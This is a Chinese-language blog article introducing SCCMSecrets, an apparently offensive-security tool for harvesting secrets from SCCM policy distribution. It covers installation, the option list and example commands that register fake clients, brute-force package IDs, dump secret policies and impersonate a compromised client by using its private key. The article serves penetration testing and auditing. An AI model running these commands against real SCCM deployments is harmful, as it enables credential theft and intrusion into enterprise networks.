如何使用SCCMSecrets识别SCCM策略中潜在的安全问题

关于SCCMSecrets

SCCMSecrets是一款针对SCCM策略的安全扫描与检测工具,该工具旨在提供一种有关 SCCM 策略的全面安全检测方法。

该工具可以从各种权限级别执行,并将尝试发现与策略分发相关的潜在错误配置。除了分发点上托管的包脚本外,它还将转储遇到的所有秘密策略的内容以及集合变量。

工具要求

requests

typer[all]

bs4

cryptography

requests_ntlm

requests_toolbelt

pyasn1_modules

工具安装

由于该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好最新版本的Python 3环境。

接下来,广大研究人员可以直接使用下列命令将该项目源码克隆至本地:

$ git clone https://github.com/synacktiv/SCCMSecrets

然后切换到项目目录中,激活虚拟环境,并使用pip命令和项目提供的requirements.txt安装该工具所需的其他依赖组件:

$ cd SCCMSecrets

$ python3 -m venv .venv && source .venv/bin/activate

$ python3 -m pip install -r requirements.txt

工具使用

$ python3 SCCMSecrets.py --help

                                                                                                                                                                                                                   

 Usage: SCCMSecrets.py [OPTIONS]                                                                                                                                                                                   

                                                                                                                                                                                                                   

--distribution-point         TEXT     目标分发点[默认值:无][必需]                                                                                                               --client-name                TEXT     将在SCCM中创建的客户端的名称。需要FQDN(例如fake.corp.com)[默认值:无]  

--management-point           TEXT     客户的管理点。仅当管理点与分发点不在同一台机器上时才需要。[默认值:无] 

--bruteforce-range           INTEGER  执行匿名策略脚本转储时bruteforce的包ID数。介于0(00000)和1048575(FFFFF)之间[默认值:4095]

--extensions                 TEXT     逗号分隔的扩展名列表,用于确定检索包脚本时将下载哪些文件[默认值:.ps1、.bat、.xml、.txt、.pfx]

--username                   TEXT     域帐户的用户名(可以是用户帐户,也可以是机器帐户)[默认值:无]

--password                   TEXT     域帐户的密码(可以是用户帐户,也可以是机器帐户)[默认值:无]

--registration-sleep         INTEGER  注册新设备后应等待的时间(秒)。建议几分钟,以便将新设备添加到设备集合中(默认情况下为3分钟,可能需要增加)[默认值:180]

 --use-existing-device        TEXT     此选项可用于使用以前注册的设备重新运行SCCMSecrets.py;或者冒充合法的SCCM客户端。在这两种情况下,它都期望路径该文件夹至少包含一个guid.txt文件(SCCM设备guid)和key.pem文件(客户端的私钥)。 [默认值:无]

--verbose                 启用Verbose输出

--help                                显示工具帮助信息和退出   

工具运行演示

运行 SCCMSecrets.py 而不提供凭据(尝试利用自动设备批准来检索秘密策略,尝试利用分发点匿名访问来转储外部资源):

$ python3 SCCMSecrets.py --distribution-point 'mecm.sccm.lab/' --client-name test.sccm.lab

使用域用户凭据运行 SCCMSecrets.py(尝试利用自动设备批准来检索机密策略,使用提供的凭据或匿名访问来转储外部资源)。指定较短的暴力破解范围和特定文件扩展名以将其列入白名单,以进行外部资源转储:

$ python3 SCCMSecrets.py --distribution-point 'mecm.sccm.lab/' --client-name test2.sccm.lab --bruteforce-range 64 --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf' --username 'franck' --password 'rockthee' --verbose

使用域机器帐户凭据运行 SCCMSecrets.py(注册一个新的已批准的设备,允许转储机密策略,使用提供的凭据或匿名访问进行外部资源转储)。指定注册后等待的更长时间,以确保在请求策略之前将注册的设备成功添加到集合中:

$ python3 SCCMSecrets.py --distribution-point 'mecm.sccm.lab/' --client-name test3.sccm.lab --verbose --registration-sleep 300 --username 'azule$' --password 'Password123!'

运行 SCCMSecrets.py 以模拟被入侵的合法 SCCM 客户端。该CLIENT_DEVICE文件夹包含一个 guid.txt 文件(被入侵客户端的 GUID)和一个 key.pem 文件(被入侵客户端的私钥):

$ python3 SCCMSecrets.py --distribution-point 'mecm.sccm.lab/' --client-name test4.sccm.lab --verbose --use-existing-device CLIENT_DEVICE/

项目地址

SCCMSecrets:【GitHub传送门

参考资料

https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial

千百度
© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容